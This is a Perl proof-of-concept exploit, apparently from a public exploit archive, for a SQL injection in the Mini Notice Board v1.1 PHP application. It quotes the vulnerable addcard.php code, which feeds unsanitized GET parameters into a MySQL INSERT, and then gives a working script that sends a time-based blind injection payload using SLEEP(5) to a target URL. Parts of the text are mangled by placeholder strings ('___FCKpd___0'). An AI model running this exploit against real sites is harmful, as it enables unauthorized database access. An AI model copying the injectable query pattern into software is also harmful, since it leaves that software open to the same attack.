#!/usr/bin/perl -w

#mininoticeboard_v1.1 SQL Injection Exploit
#==========================================


#Discovered by N_A , N_A[at]tutanota.com
#========================================


#Vendor has been notified
#=========================


#Description
#============

#Mini Notice Board is a small noticeboard application that allows users to post notice cards online. e.g. if people want to sell their car 
#or lawnmower or want to provide services, they can simply write a card. 
#It supports unlimited Regions.

#https://sourceforge.net/projects/mininoticeboard/


#Vulnerability
#=============

#addcard.php:

#The variables from the GET request are fed unsanitized directly into the MYSQL database resulting in an SQL Injection

#$title       = 
___FCKpd___0
GET["title"];
#$body        = 
___FCKpd___0
GET["body"];
#$contact     = 
___FCKpd___0
GET["contact"];
#$address     = 
___FCKpd___0
GET["address"];
#$tel         = 
___FCKpd___0
GET["tel"];
#$date_day    = date("d");
#$date_month  = date("m");
#$date_year   = date("y");
#$romovalcode = genremovalcode();
#$categorie   = $cid;

#if($title!="" && $body!="" && $tel!="" && $contact!="")

#{

#	include 'dbconnect.php';
#	$sqlset["tablename"] = $sqlset["tableprefix"].'content';
#	mysql_query('INSERT INTO `'.$sqlset["tablename"].'` (`title`, `content`, `contact`, `address`, `tel`, `date_day`, `date_month`, `date_year`, #`removalcode`, `categorie`) VALUES (\''.$title.'\', \''.$body.'\', \''.$contact.'\', \''.$address.'\', \''.$tel.'\', \''.$date_day.'\',  
#\''$date_month.'\', \''.$date_year.'\', \''.$romovalcode.'\', \''.$categorie.'\')') or $status = 'red';




#Proof Of Concept Exploit attached below

#N_A, N_A[at]tutanota.com




use strict;
use LWP::Simple;


my ($url) = @ARGV;
if( not defined $url )
{	
	
   print "=========================================\n";
   print "Mini Notice Board SQL Injection Exploit\n";
   print "\tBy N_A\n";
   print "\n";
   print "___FCKpd___0  [URL]\n";
   print "___FCKpd___0 127.0.0.1/mininoticeboard\n";
   print "=========================================\n";
   exit;
}


my $file = '/addcard.php';                                   #The Vulnerable .php file
my $injection = 'title=pentest&body=blah\' OR (SELECT * FROM (SELECT(SLEEP(5)))jAEh) AND \'OKSG\'=\'OKSG&tel=555&contact=blahblah&address=blahblah&submit=Add+Card'; 


my $request ="http://".$url.$file."?".$injection;             #Forming the exploit string
my $content = get $request;
die "Could not get $request" unless defined $content;

#It should hang here for about 5 seconds..... (SLEEP(5)) as per injection

print "##########################\n";
print "SQL Injection Successful!\n";
print "##########################\n"